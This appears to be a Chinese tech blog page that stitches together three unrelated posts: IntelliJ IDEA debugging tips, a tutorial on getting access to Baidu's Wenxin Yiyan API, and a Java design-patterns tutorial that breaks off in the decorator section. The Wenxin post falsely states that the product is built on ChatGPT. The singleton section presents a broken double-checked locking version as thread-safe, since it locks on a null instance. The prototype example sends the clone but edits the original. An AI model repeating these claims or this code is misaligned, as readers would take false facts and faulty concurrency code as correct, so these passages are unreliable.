【IDEA】IDEA的debug调试技巧详解

InterviewCoder

# 【IDEA】IDEA 的 debug 调试技巧详解(转自 CSDN)

目录

一、概述

二、debug 操作分析

1、打断点

2、运行 debug 模式

3、重新执行 debug

4、让程序执行到下一次断点后暂停

5、让断点处的代码再加一行代码

6、停止 debug 程序

7、显示所有断点

8、添加断点运行的条件

9、屏蔽所有断点

10、把光标移到当前程序运行位置

11、单步跳过

12、可以跳入方法内部的执行一行代码操作

13、跳出方法

14、直接执行到光标所在位置

15、在控制台改变正在 debug 的数据


# 一、概述

  • debug 调试也叫断点调试
  • 在程序的某一行打上断点,则在 debug 模式下运行到断点位置时会暂停,便于程序员观察代码的执行情况
  • 学会 debug,有助于在程序运行未达到理想情况时,对程序的各个流程进行分析
  • 本文只详细描述了 debug 的一些基本的常用操作,如果有缺漏欢迎评论区留言~

# 二、debug 操作分析

# 1、打断点

  • 在程序的某一行位置,数字右边的空白部分使用鼠标左键点击一下,出现红点即为打上了一个断点

# 2、运行 debug 模式

  • 方式一
    • 选中要进行 debug 的程序,点击右上角的 debug 按钮
  • 方式二
    • 在要进行 debug 的程序处右键,选中下图选项

# 3、重新执行 debug

  • 点击下图按钮,会关闭当前 debug 的程序并重新启动 debug

# 4、让程序执行到下一次断点后暂停

  • 点击下图的按钮,debug 会继续运行程序,直到遇到下一次断点后暂停
  • 举例
    • 下图是一个循环操作,在打断点的位置点击上面说的按钮,相当于再循环一次,到代码第 9 行时停止

# 5、让断点处的代码再加一行代码

  • 点击下图的加号,可以在断点处加一行代码,比如下图中的 count++ 即为新添加的代码
    • 选中 count++,右键点击 Edit 可以编辑该代码
    • 选中该行代码(count++),点击加号下面的减号,可以删除该行代码
  • 选中下图的眼镜,变为分屏操作

举例

  • 下图是没添加额外代码之前的截图
  • 添加一句 count++,并点击左边红色框中的按钮,执行到下一次断点,即循环了一次
  • 效果和运行步骤见下图

# 6、停止 debug 程序

  • 点击下图按钮停止 debug 程序
  • 注意
    • 运行的如果是 javaSE 项目,点一下就停止
    • 运行的如果是 javaWeb 项目,需要点两下
      • 第一下停止代码的当前线程
      • 第二下停止服务器

# 7、显示所有断点

  • 点击下图按钮,会显示所有断点
  • 点击后出现下图所示界面,可以添加断点运行的条件,见下一条功能解释

# 8、添加断点运行的条件

  • 选中断点,右键后即可编辑断点运行的条件
    • 满足条件时程序才会在该断点处停下
  • 比如添加 i>=5,重新 debug 后的效果如下图所示
  • 此时会发现第 7 条显示所有断点信息处,可以看到下图效果

# 9、屏蔽所有断点

  • 点击下图按钮,可以屏蔽所有断点
  • 屏蔽前
  • 屏蔽后
  • 屏蔽的断点在 debug 的时候不会运行
    • 如果程序调试后觉得没问题了,可以屏蔽掉所有断点继续运行程序查看效果

# 10、把光标移到当前程序运行位置

  • 点击下图按钮后,会把鼠标光标移动到当前程序运行位置
    • 当程序代码量很大的时候,可以通过该按钮快速定位到程序运行位置
  • 如下图所示
    • 假设程序运行到第 9 行断点处,鼠标光标在第 11 行,点击该按钮后光标就会移动到第 9 行

# 11、单步跳过

  • 点击下图按钮,会一行一行执行自己编写的代码
    • 如果碰到方法,该按钮不会进入到该方法内部
    • 快捷键 F8

# 12、可以跳入方法内部的执行一行代码操作

  • 下图中的蓝色箭头和红色箭头都可以执行一行代码,如果遇到方法时会进入方法内部,区别在于
    • 蓝色箭头只会跳进自己写的方法,如果是系统已经写好的方法,蓝色箭头无法跳入该方法
    • 红色箭头不管是自己写的方法,还是系统已经定义好的方法,都可以跳入方法内部
  • 如下图所示
    • ArrayList 的 add 方法是系统已经写好的,蓝色箭头无法跳入方法内部,但是红色箭头可以跳入方法内部
    • printMessage()是自定义方法,红色和蓝色箭头都可以跳入该方法内部

# 13、跳出方法

  • 下图的两个按钮都可以跳出方法
    • 第二个按钮是关闭窗口的意思,同样可以起到跳出方法的作用
    • 在进入方法内部的时候使用这两个按钮

# 14、直接执行到光标所在位置

  • 点击下图的按钮,程序会执行到光标所在的位置
    • 前提是光标前面没有断点,否则程序还是会在光标前面的断点处暂停

# 15、在控制台改变正在 debug 的数据

  • 在控制台选中某个变量,右键点击 Set Value 可以改变该变量的值
    • 如果想测试某个地方的数据如果是正确的会是什么效果,可以手动更改该处变量的值

补充:debug 调试看代码时,一般用 F9 跳到下一个断点,打断点的目的是你想看程序执行到这个位置时会有什么效果,或者是到达断点的位置后再继续往下看实现的过程;用 F7 去跳进方法内部,看具体的实现细节;用 F8 去看当前位置代码往下的执行情况(不跳入具体方法的内部)

# 原文链接:https://blog.csdn.net/future_god_qr/article/details/121250865

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【文心一言】百度文心一言大型语言模型接入教程

InterviewCoder

# 【文心一言】百度文心一言大型语言模型接入教程

# 文心一言是百度的智能对话产品,它可以与用户进行流畅、自然、有趣的多轮对话,涵盖了生活、娱乐、教育、商务等多个领域和场景。文心一言不仅可以作为一个独立的应用供用户使用,也可以通过百度智能云的 API 调用接口,为各行各业的企业客户提供强大而灵活的 AI 能力,赋能更多行业伙伴。
# 那么,作为一个企业客户,如何接入文心一言呢?本文将为您介绍百度智能云提供的全面的 AI 解决方案,帮助您快速实现与文心一言的对接和集成。

# 第一步:注册百度智能云账号

要使用百度智能云提供的服务和产品,您首先需要注册一个百度智能云账号。您可以通过以下方式进行注册:

  • 访问百度智能云官网 (https://cloud.baidu.com/),点击右上角 “免费注册” 按钮。
  • 输入您的手机号码,并获取验证码。
  • 设置您的登录密码,并同意服务协议。
  • 完成实名认证,并选择账号类型 (个人或企业)。
  • 完成以上步骤后,您就成功注册了一个百度智能云账号。

# 第二步:申请文心一言 API 调用权限

​ 要使用文心一言 API 调用接口,您需要申请相应的权限。您可以通过以下方式进行申请:

  • 登录百度智能云控制台 (https://console.bce.baidu.com/),点击左侧导航栏 “人工智能” 下拉菜单中的 “自然语言处理” 选项。
  • 在自然语言处理页面中,找到 “文心一言” 产品,并点击 “立即使用” 按钮。
  • 在弹出窗口中填写相关信息,并提交申请。
  • 等待审核结果。审核通过后,您就可以在控制台中查看并管理您的文心一言 API 调用权限。

# 第三步:配置并测试文心一言 API 调用接口

​ 进入:https://wenxin.baidu.com/user/key

​ 使用文心一言 API 调用接口,您需要配置相关参数,并进行测试。您可以通过以下方式进行配置和测试:

  • 在控制台中进入 “自然语言处理” 页面,并点击 “文心一言” 产品下方的 “管理” 按钮,进入文心一言 API 调用接口的配置页面。
  • 在配置页面中,您可以查看并修改您的文心一言 API 调用接口的基本信息,如应用名称、应用描述、应用类型等。
  • 您还可以在配置页面中设置您的文心一言 API 调用接口的安全认证方式,如 Access Key ID 和 Secret Access Key。这些是您调用文心一言 API 时需要提供的身份凭证,建议您妥善保管,并定期更换。
  • 您还可以在配置页面中设置您的文心一言 API 调用接口的配额和限流策略,如每日请求次数、每秒请求次数等。这些是为了保障您和其他用户的服务质量和安全性,建议您根据自己的业务需求合理分配,并避免超出限制。
  • 在完成以上配置后,您就可以在配置页面中点击 “在线测试” 按钮,进行文心一言 API 调用接口的测试。测试时,您需要输入一个对话语句,并选择一个对话领域和场景。然后点击 “发送” 按钮,即可查看文心一言 API 返回的对话回复。

# 第四步:集成并使用文心一言 API 调用接口

​ 要集成并使用文心一言 API 调用接口,您需要根据自己的开发环境和语言选择合适的 SDK 或工具,并编写相应的代码。百度智能云提供了多种语言和平台支持的 SDK 或工具,如 Java、Python、PHP、Node.js、Android、iOS 等。您可以通过以下方式进行集成和使用:

  • 在控制台中进入 “自然语言处理” 页面,并点击 “文心一言” 产品下方的 “文档” 按钮,进入文心一言 API 调用接口的文档页面。
  • 在文档页面中,您可以查看并下载您所需要的 SDK 或工具,并参考相关的示例代码和说明进行集成和使用。
  • 在完成集成和使用后,您就可以在您的应用中调用文心一言 API,实现与用户的智能对话功能。

# 结语:

​ 文心一言是百度智能云推出的一款基于大规模自然语言生成模型 (ChatGPT) 的智能对话产品,它可以与用户进行流畅、自然、有趣的多轮对话,涵盖了生活、娱乐、教育、商务等多个领域和场景。本文介绍了作为一个企业客户,如何通过百度智能云提供的全面的 AI 解决方案,快速实现与文心一言的对接和集成。

# 关于我

Brath 是一个热爱技术的 Java 程序猿,公众号「InterviewCoder」定期分享有趣有料的精品原创文章!

InterviewCoder

非常感谢各位人才能看到这里,原创不易,文章如果有帮助可以关注、点赞、分享或评论,这都是对我的莫大支持!

【设计模式】23 种设计模式详解(全23种)

InterviewCoder

# 【设计模式】23 种设计模式详解(全 23 种)

# 设计模式的分类

总体来说设计模式分为三大类:

创建型模式,共五种:工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。

结构型模式,共七种:适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。

行为型模式,共十一种:策略模式、模板方法模式、观察者模式、迭代子模式、责任链模式、命令模式、备忘录模式、状态模式、访问者模式、中介者模式、解释器模式。

#

# A、创建模式(5 种)

工厂方法模式、抽象工厂模式、单例模式、建造者模式、原型模式。

# 1 工厂模式

# 1.1 简单工厂模式

** 定义:** 定义了一个创建对象的类,由这个类来封装实例化对象的行为。

举例:(我们举一个 pizza 工厂的例子)

pizza 工厂一共生产三种类型的 pizza:chesse,pepper,greak。通过工厂类(SimplePizzaFactory)实例化这三种类型的对象。类图如下:

工厂类的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SimplePizzaFactory {
public Pizza CreatePizza(String ordertype) {
Pizza pizza = null;
if (ordertype.equals("cheese")) {
pizza = new CheesePizza();
} else if (ordertype.equals("greek")) {
pizza = new GreekPizza();
} else if (ordertype.equals("pepper")) {
pizza = new PepperPizza();
}
return pizza;
}
}

简单工厂存在的问题与解决方法: 简单工厂模式有一个问题就是,类的创建依赖工厂类,也就是说,如果想要拓展程序,必须对工厂类进行修改,这违背了开闭原则,所以,从设计角度考虑,有一定的问题,如何解决?我们可以定义一个创建对象的抽象方法并创建多个不同的工厂类实现该抽象方法,这样一旦需要增加新的功能,直接增加新的工厂类就可以了,不需要修改之前的代码。这种方法也就是我们接下来要说的工厂方法模式。

# 1.2 工厂方法模式

** 定义:** 定义了一个创建对象的抽象方法,由子类决定要实例化的类。工厂方法模式将对象的实例化推迟到子类。

举例:(我们依然举 pizza 工厂的例子,不过这个例子中,pizza 产地有两个:伦敦和纽约)。添加了一个新的产地,如果用简单工厂模式的的话,我们要去修改工厂代码,并且会增加一堆的 if else 语句。而工厂方法模式克服了简单工厂要修改代码的缺点,它会直接创建两个工厂,纽约工厂和伦敦工厂。类图如下:

OrderPizza 中有个抽象的方法:

1
abstract Pizza createPizza();

两个工厂类继承 OrderPizza 并实现抽象方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class LDOrderPizza extends OrderPizza {
Pizza createPizza(String ordertype) {
Pizza pizza = null;
if (ordertype.equals("cheese")) {
pizza = new LDCheesePizza();
} else if (ordertype.equals("pepper")) {
pizza = new LDPepperPizza();
}
return pizza;
}
}
public class NYOrderPizza extends OrderPizza {

Pizza createPizza(String ordertype) {
Pizza pizza = null;

if (ordertype.equals("cheese")) {
pizza = new NYCheesePizza();
} else if (ordertype.equals("pepper")) {
pizza = new NYPepperPizza();
}
return pizza;

}

}

、通过不同的工厂会得到不同的实例化的对象,PizzaStroe 的代码如下:

1
2
3
4
5
6
public class PizzaStroe {
public static void main(String[] args) {
OrderPizza mOrderPizza;
mOrderPizza = new NYOrderPizza();
}
}

** 解决了简单工厂模式的问题:** 增加一个新的 pizza 产地(北京),只要增加一个 BJOrderPizza 类:

1
2
3
4
5
6
7
8
9
10
11
public class BJOrderPizza extends OrderPizza {
Pizza createPizza(String ordertype) {
Pizza pizza = null;
if (ordertype.equals("cheese")) {
pizza = new LDCheesePizza();
} else if (ordertype.equals("pepper")) {
pizza = new LDPepperPizza();
}
return pizza;
}
}

其实这个模式的好处就是,如果你现在想增加一个功能,只需做一个实现类就 OK 了,无需去改动现成的代码。这样做,拓展性较好!

** 工厂方法存在的问题与解决方法:** 客户端需要创建类的具体的实例。简单来说就是用户要订纽约工厂的披萨,他必须去纽约工厂,想订伦敦工厂的披萨,必须去伦敦工厂。 当伦敦工厂和纽约工厂发生变化了,用户也要跟着变化,这无疑就增加了用户的操作复杂性。为了解决这一问题,我们可以把工厂类抽象为接口,用户只需要去找默认的工厂提出自己的需求(传入参数),便能得到自己想要产品,而不用根据产品去寻找不同的工厂,方便用户操作。这也就是我们接下来要说的抽象工厂模式。

# 1.3 抽象工厂模式

** 定义:** 定义了一个接口用于创建相关或有依赖关系的对象族,而无需明确指定具体类。

举例:(我们依然举 pizza 工厂的例子,pizza 工厂有两个:纽约工厂和伦敦工厂)。类图如下:

工厂的接口:

1
2
3
public interface AbsFactory {
Pizza CreatePizza(String ordertype) ;
}

工厂的实现:

1
2
3
4
5
6
7
8
9
10
11
12
public class LDFactory implements AbsFactory {
@Override
public Pizza CreatePizza(String ordertype) {
Pizza pizza = null;
if ("cheese".equals(ordertype)) {
pizza = new LDCheesePizza();
} else if ("pepper".equals(ordertype)) {
pizza = new LDPepperPizza();
}
return pizza;
}
}

PizzaStroe 的代码如下:

1
2
3
4
5
6
public class PizzaStroe {
public static void main(String[] args) {
OrderPizza mOrderPizza;
mOrderPizza = new OrderPizza("London");
}
}

** 解决了工厂方法模式的问题:** 在抽象工厂中 PizzaStroe 中只需要传入参数就可以实例化对象。

# 1.4 工厂模式适用的场合

大量的产品需要创建,并且这些产品具有共同的接口 。

# 1.5 三种工厂模式的使用选择

简单工厂 : 用来生产同一等级结构中的任意产品。(不支持拓展增加产品)

工厂方法 :用来生产同一等级结构中的固定产品。(支持拓展增加产品)

抽象工厂 :用来生产不同产品族的全部产品。(支持拓展增加产品;支持增加产品族)

** 简单工厂的适用场合:** 只有伦敦工厂(只有这一个等级),并且这个工厂只生产三种类型的 pizza:chesse,pepper,greak(固定产品)。

工厂方法的适用场合:现在不光有伦敦工厂,还增设了纽约工厂(仍然是同一等级结构,但是支持了产品的拓展),这两个工厂依然只生产三种类型的 pizza:chesse,pepper,greak(固定产品)。

** 抽象工厂的适用场合:** 不光增设了纽约工厂(仍然是同一等级结构,但是支持了产品的拓展),这两个工厂还增加了一种新的类型的 pizza:chinese pizza(增加产品族)。

** 所以说抽象工厂就像工厂,而工厂方法则像是工厂的一种产品生产线。因此,我们可以用抽象工厂模式创建工厂,而用工厂方法模式创建生产线。比如,我们可以使用抽象工厂模式创建伦敦工厂和纽约工厂,使用工厂方法实现 cheese pizza 和 greak pizza 的生产。类图如下: **

总结一下三种模式:

简单工厂模式就是建立一个实例化对象的类,在该类中对多个对象实例化。工厂方法模式是定义了一个创建对象的抽象方法,由子类决定要实例化的类。这样做的好处是再有新的类型的对象需要实例化只要增加子类即可。抽象工厂模式定义了一个接口用于创建对象族,而无需明确指定具体类。抽象工厂也是把对象的实例化交给了子类,即支持拓展。同时提供给客户端接口,避免了用户直接操作子类工厂。

#

# 2 单例模式

** 定义:** 确保一个类最多只有一个实例,并提供一个全局访问点

单例模式可以分为两种:预加载和懒加载

# 2.1 预加载

顾名思义,就是预先加载。再进一步解释就是还没有使用该单例对象,但是,该单例对象就已经被加载到内存了。

1
2
3
4
5
6
7
8
9
10
11
12
public class PreloadSingleton {

public static PreloadSingleton instance = new PreloadSingleton();

//其他的类无法实例化单例类的对象
private PreloadSingleton() {
};

public static PreloadSingleton getInstance() {
return instance;
}
}

很明显,没有使用该单例对象,该对象就被加载到了内存,会造成内存的浪费。

# 2.2 懒加载

为了避免内存的浪费,我们可以采用懒加载,即用到该单例对象的时候再创建。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Singleton {

private static Singleton instance=null;

private Singleton(){
};

public static Singleton getInstance()
{
if(instance==null)
{
instance=new Singleton();
}
return instance;

}
}

# 2.3 单例模式和线程安全

(1)预加载只有一条语句 return instance, 这显然可以保证线程安全。但是,我们知道预加载会造成内存的浪费。

(2)懒加载不浪费内存,但是无法保证线程的安全。首先,if 判断以及其内存执行代码是非原子性的。其次,new Singleton () 无法保证执行的顺序性。

不满足原子性或者顺序性,线程肯定是不安全的,这是基本的常识,不再赘述。我主要讲一下为什么 new Singleton () 无法保证顺序性。我们知道创建一个对象分三步:

1
2
3
4
5
memory=allocate();//1:初始化内存空间

ctorInstance(memory);//2:初始化对象

instance=memory();//3:设置instance指向刚分配的内存地址

**jvm 为了提高程序执行性能,会对没有依赖关系的代码进行重排序,上面 2 和 3 行代码可能被重新排序。** 我们用两个线程来说明线程是不安全的。线程 A 和线程 B 都创建对象。其中,A2 和 A3 的重排序,将导致线程 B 在 B1 处判断出 instance 不为空,线程 B 接下来将访问 instance 引用的对象。此时,线程 B 将会访问到一个还未初始化的对象(线程不安全)。

# 2.4 保证懒加载的线程安全

我们首先想到的就是使用synchronized关键字。synchronized加载 getInstace () 函数上确实保证了线程的安全。但是,如果要经常的调用getInstance () 方法,不管有没有初始化实例,都会唤醒和阻塞线程。为了避免线程的上下文切换消耗大量时间,如果对象已经实例化了,我们没有必要再使用synchronized加锁,直接返回对象。

1
2
3
4
5
6
7
8
9
10
11
public class Singleton {
private static Singleton instance = null;
private Singleton() {
};
public static synchronized Singleton getInstance() {
if (instance == null) {
instance = new Singleton();
}
return instance;
}
}

我们把sychronized加在 if (instance==null) 判断语句里面,保证 instance 未实例化的时候才加锁

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Singleton {
private static Singleton instance = null;
private Singleton() {
};
public static synchronized Singleton getInstance() {
if (instance == null) {
synchronized (Singleton.class) {
if (instance == null) {
instance = new Singleton();
}
}
}
return instance;
}
}

我们经过 2.3 的讨论知道 new 一个对象的代码是无法保证顺序性的,因此,我们需要使用另一个关键字volatile保证对象实例化过程的顺序性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Singleton {
private static volatile Singleton instance = null;
private Singleton() {
};
public static synchronized Singleton getInstance() {
if (instance == null) {
synchronized (instance) {
if (instance == null) {
instance = new Singleton();
}
}
}
return instance;
}
}

到此,我们就保证了懒加载的线程安全。

# 3 生成器模式

** 定义:** 封装一个复杂对象构造过程,并允许按步骤构造。

定义解释: 我们可以将生成器模式理解为,假设我们有一个对象需要建立,这个对象是由多个组件(Component)组合而成,每个组件的建立都比较复杂,但运用组件来建立所需的对象非常简单,所以我们就可以将构建复杂组件的步骤与运用组件构建对象分离,使用 builder 模式可以建立。

# 3.1 模式的结构和代码示例

生成器模式结构中包括四种角色:

(1)产品 (Product):具体生产器要构造的复杂对象;

(2)抽象生成器 (Bulider):抽象生成器是一个接口,该接口除了为创建一个 Product 对象的各个组件定义了若干个方法之外,还要定义返回 Product 对象的方法(定义构造步骤);

(3)具体生产器 (ConcreteBuilder):实现 Builder 接口的类,具体生成器将实现 Builder 接口所定义的方法(生产各个组件);

(4)指挥者 (Director):指挥者是一个类,该类需要含有 Builder 接口声明的变量。指挥者的职责是负责向用户提供具体生成器,即指挥者将请求具体生成器类来构造用户所需要的 Product 对象,如果所请求的具体生成器成功地构造出 Product 对象,指挥者就可以让该具体生产器返回所构造的 Product 对象。(按照步骤组装部件,并返回 Product

举例(我们如果构建生成一台电脑,那么我们可能需要这么几个步骤(1)需要一个主机(2)需要一个显示器(3)需要一个键盘(4)需要一个鼠标)

虽然我们具体在构建一台主机的时候,每个对象的实际步骤是不一样的,比如,有的对象构建了 i7cpu 的主机,有的对象构建了 i5cpu 的主机,有的对象构建了普通键盘,有的对象构建了机械键盘等。但不管怎样,你总是需要经过一个步骤就是构建一台主机,一台键盘。对于这个例子,我们就可以使用生成器模式来生成一台电脑,他需要通过多个步骤来生成。类图如下:

ComputerBuilder 类定义构造步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public abstract class ComputerBuilder {

protected Computer computer;

public Computer getComputer() {
return computer;
}

public void buildComputer() {
computer = new Computer();
System.out.println("生成了一台电脑!!!");
}
public abstract void buildMaster();
public abstract void buildScreen();
public abstract void buildKeyboard();
public abstract void buildMouse();
public abstract void buildAudio();
}

HPComputerBuilder 定义各个组件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class HPComputerBuilder extends ComputerBuilder {
@Override
public void buildMaster() {
// TODO Auto-generated method stub
computer.setMaster("i7,16g,512SSD,1060");
System.out.println("(i7,16g,512SSD,1060)的惠普主机");
}
@Override
public void buildScreen() {
// TODO Auto-generated method stub
computer.setScreen("1080p");
System.out.println("(1080p)的惠普显示屏");
}
@Override
public void buildKeyboard() {
// TODO Auto-generated method stub
computer.setKeyboard("cherry 青轴机械键盘");
System.out.println("(cherry 青轴机械键盘)的键盘");
}
@Override
public void buildMouse() {
// TODO Auto-generated method stub
computer.setMouse("MI 鼠标");
System.out.println("(MI 鼠标)的鼠标");
}
@Override
public void buildAudio() {
// TODO Auto-generated method stub
computer.setAudio("飞利浦 音响");
System.out.println("(飞利浦 音响)的音响");
}
}

Director 类对组件进行组装并生成产品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Director {

private ComputerBuilder computerBuilder;
public void setComputerBuilder(ComputerBuilder computerBuilder) {
this.computerBuilder = computerBuilder;
}

public Computer getComputer() {
return computerBuilder.getComputer();
}

public void constructComputer() {
computerBuilder.buildComputer();
computerBuilder.buildMaster();
computerBuilder.buildScreen();
computerBuilder.buildKeyboard();
computerBuilder.buildMouse();
computerBuilder.buildAudio();
}
}

# 3.2 生成器模式的优缺点

# 优点

  • 将一个对象分解为各个组件

  • 将对象组件的构造封装起来

  • 可以控制整个对象的生成过程

# 缺点

  • 对不同类型的对象需要实现不同的具体构造器的类,这可能回答大大增加类的数量

# 3.3 生成器模式与工厂模式的不同

生成器模式构建对象的时候,对象通常构建的过程中需要多个步骤,就像我们例子中的先有主机,再有显示屏,再有鼠标等等,生成器模式的作用就是将这些复杂的构建过程封装起来。工厂模式构建对象的时候通常就只有一个步骤,调用一个工厂方法就可以生成一个对象。

# 4 原型模式

** 定义:** 通过复制现有实例来创建新的实例,无需知道相应类的信息。

简单地理解,其实就是当需要创建一个指定的对象时,我们刚好有一个这样的对象,但是又不能直接使用,我会 clone 一个一毛一样的新对象来使用;基本上这就是原型模式。关键字:Clone

# 4.1 深拷贝和浅拷贝

浅复制:将一个对象复制后,基本数据类型的变量都会重新创建,而引用类型,指向的还是原对象所指向的。

深复制:将一个对象复制后,不论是基本数据类型还有引用类型,都是重新创建的。简单来说,就是深复制进行了完全彻底的复制,而浅复制不彻底。clone 明显是深复制,clone 出来的对象是是不能去影响原型对象的

# 4.2 原型模式的结构和代码示例

Client:使用者

Prototype:接口(抽象类),声明具备 clone 能力,例如 java 中得 Cloneable 接口

ConcretePrototype:具体的原型类

可以看出设计模式还是比较简单的,重点在于 Prototype 接口和 Prototype 接口的实现类 ConcretePrototype。原型模式的具体实现:一个原型类,只需要实现 Cloneable 接口,覆写 clone 方法,此处 clone 方法可以改成任意的名称,因为 Cloneable 接口是个空接口,你可以任意定义实现类的方法名,如 cloneA 或者 cloneB,因为此处的重点是 super.clone () 这句话,super.clone () 调用的是 Object 的 clone () 方法。

1
2
3
4
5
6
public class Prototype implements Cloneable {  
public Object clone() throws CloneNotSupportedException {
Prototype proto = (Prototype) super.clone();
return proto;
}
}

** 举例(银行发送大量邮件,使用 clone 和不使用 clone 的时间对比):** 我们模拟创建一个对象需要耗费比较长的时间,因此,在构造函数中我们让当前线程 sleep 一会

1
2
3
4
5
6
7
8
9
10
public Mail(EventTemplate et) {
this.tail = et.geteventContent();
this.subject = et.geteventSubject();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}

不使用 clone, 发送十个邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) {
int i = 0;
int MAX_COUNT = 10;
EventTemplate et = new EventTemplate("9月份信用卡账单", "国庆抽奖活动...");
long start = System.currentTimeMillis();
while (i < MAX_COUNT) {
// 以下是每封邮件不同的地方
Mail mail = new Mail(et);
mail.setContent(getRandString(5) + ",先生(女士):你的信用卡账单..." + mail.getTail());
mail.setReceiver(getRandString(5) + "@" + getRandString(8) + ".com");
// 然后发送邮件
sendMail(mail);
i++;
}
long end = System.currentTimeMillis();
System.out.println("用时:" + (end - start));
}

用时:10001

使用 clone, 发送十个邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) {
int i = 0;
int MAX_COUNT = 10;
EventTemplate et = new EventTemplate("9月份信用卡账单", "国庆抽奖活动...");
long start=System.currentTimeMillis();
Mail mail = new Mail(et);
while (i < MAX_COUNT) {
Mail cloneMail = mail.clone();
mail.setContent(getRandString(5) + ",先生(女士):你的信用卡账单..."
+ mail.getTail());
mail.setReceiver(getRandString(5) + "@" + getRandString(8) + ".com");
sendMail(cloneMail);
i++;
}
long end=System.currentTimeMillis();
System.out.println("用时:"+(end-start));
}

用时:1001

# 4.3 总结

原型模式的本质就是 clone,可以解决构建复杂对象的资源消耗问题,能再某些场景中提升构建对象的效率;还有一个重要的用途就是保护性拷贝,可以通过返回一个拷贝对象的形式,实现只读的限制。

# B、结构模式(7 种)

适配器模式、装饰器模式、代理模式、外观模式、桥接模式、组合模式、享元模式。

#

# 5 适配器模式

定义: 适配器模式将某个类的接口转换成客户端期望的另一个接口表示,目的是消除由于接口不匹配所造成的类的兼容性问题。

** 主要分为三类:** 类的适配器模式、对象的适配器模式、接口的适配器模式。

# 5.1 类适配器模式

通过多重继承目标接口和被适配者类方式来实现适配

举例 (将 USB 接口转为 VGA 接口),类图如下:

USBImpl 的代码:

1
2
3
4
5
6
7
public class USBImpl implements USB{
@Override
public void showPPT() {
// TODO Auto-generated method stub
System.out.println("PPT内容演示");
}
}

AdatperUSB2VGA 首先继承 USBImpl 获取 USB 的功能,其次,实现 VGA 接口,表示该类的类型为 VGA。

1
2
3
4
5
6
public class AdapterUSB2VGA extends USBImpl implements VGA {
@Override
public void projection() {
super.showPPT();
}
}

Projector 将 USB 映射为 VGA,只有 VGA 接口才可以连接上投影仪进行投影

1
2
3
4
5
6
7
8
9
10
11
12
public class Projector<T> {
public void projection(T t) {
if (t instanceof VGA) {
System.out.println("开始投影");
VGA v = new VGAImpl();
v = (VGA) t;
v.projection();
} else {
System.out.println("接口不匹配,无法投影");
}
}
}

test 代码

1
2
3
4
5
6
7
8
@Test
public void test2(){
//通过适配器创建一个VGA对象,这个适配器实际是使用的是USB的showPPT()方法
VGA a=new AdapterUSB2VGA();
//进行投影
Projector p1=new Projector();
p1.projection(a);
}

# 5.2 对象适配器模式

对象适配器和类适配器使用了不同的方法实现适配,对象适配器使用组合,类适配器使用继承。

举例 (将 USB 接口转为 VGA 接口),类图如下:

1
2
3
4
5
6
7
public class AdapterUSB2VGA implements VGA {
USB u = new USBImpl();
@Override
public void projection() {
u.showPPT();
}
}

实现 VGA 接口,表示适配器类是 VGA 类型的,适配器方法中直接使用 USB 对象。

# 5.3 接口适配器模式

当不需要全部实现接口提供的方法时,可先设计一个抽象类实现接口,并为该接口中每个方法提供一个默认实现(空方法),那么该抽象类的子类可有选择地覆盖父类的某些方法来实现需求,它适用于一个接口不想使用其所有的方法的情况。

举例 (将 USB 接口转为 VGA 接口,VGA 中的 b () 和 c () 不会被实现),类图如下:

AdapterUSB2VGA抽象类

1
2
3
4
5
6
7
8
9
10
11
12
13
public abstract class AdapterUSB2VGA implements VGA {
USB u = new USBImpl();
@Override
public void projection() {
u.showPPT();
}
@Override
public void b() {
};
@Override
public void c() {
};
}

AdapterUSB2VGA 实现,不用去实现 b () 和 c () 方法。

1
2
3
4
5
public class AdapterUSB2VGAImpl extends AdapterUSB2VGA {
public void projection() {
super.projection();
}
}

# 5.4 总结

总结一下三种适配器模式的应用场景:

类适配器模式:当希望将一个类转换成满足另一个新接口的类时,可以使用类的适配器模式,创建一个新类,继承原有的类,实现新的接口即可。

** 对象适配器模式:** 当希望将一个对象转换成满足另一个新接口的对象时,可以创建一个 Wrapper 类,持有原类的一个实例,在 Wrapper 类的方法中,调用实例的方法就行。

** 接口适配器模式:** 当不希望实现一个接口中所有的方法时,可以创建一个抽象类 Wrapper,实现所有方法,我们写别的类的时候,继承抽象类即可。

命名规则:

我个人理解,三种命名方式,是根据 src 是以怎样的形式给到 Adapter(在 Adapter 里的形式)来命名的。

类适配器,以类给到,在 Adapter 里,就是将 src 当做类,继承,

对象适配器,以对象给到,在 Adapter 里,将 src 作为一个对象,持有。

接口适配器,以接口给到,在 Adapter 里,将 src 作为一个接口,实现。

使用选择:

根据合成复用原则,组合大于继承。因此,类的适配器模式应该少用。

#

# 6 装饰者模式

定义:动态的将新功能附加到对象上。在对象功能扩展方面,它比继承更有弹性。

# 6.1 装饰者模式结构图与代码示例

1.Component(被装饰对象的基类)

定义一个对象接口,可以给这些对象动态地添加职责。

2.ConcreteComponent(具体被装饰对象)

定义一个对象,可以给这个对象添加一些职责。

3.Decorator(装饰者抽象类)

维持一个指向 Component 实例的引用,并定义一个与 Component 接口一致的接口。

4.ConcreteDecorator(具体装饰者)

具体的装饰对象,给内部持有的具体被装饰对象,增加具体的职责。

被装饰对象和修饰者继承自同一个超类

举例(咖啡馆订单项目:1)、咖啡种类:Espresso、ShortBlack、LongBlack、Decaf2)、调料(装饰者):Milk、Soy、Chocolate),类图如下:

被装饰的对象和装饰者都继承自同一个超类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public abstract class Drink {
public String description="";
private float price=0f;;


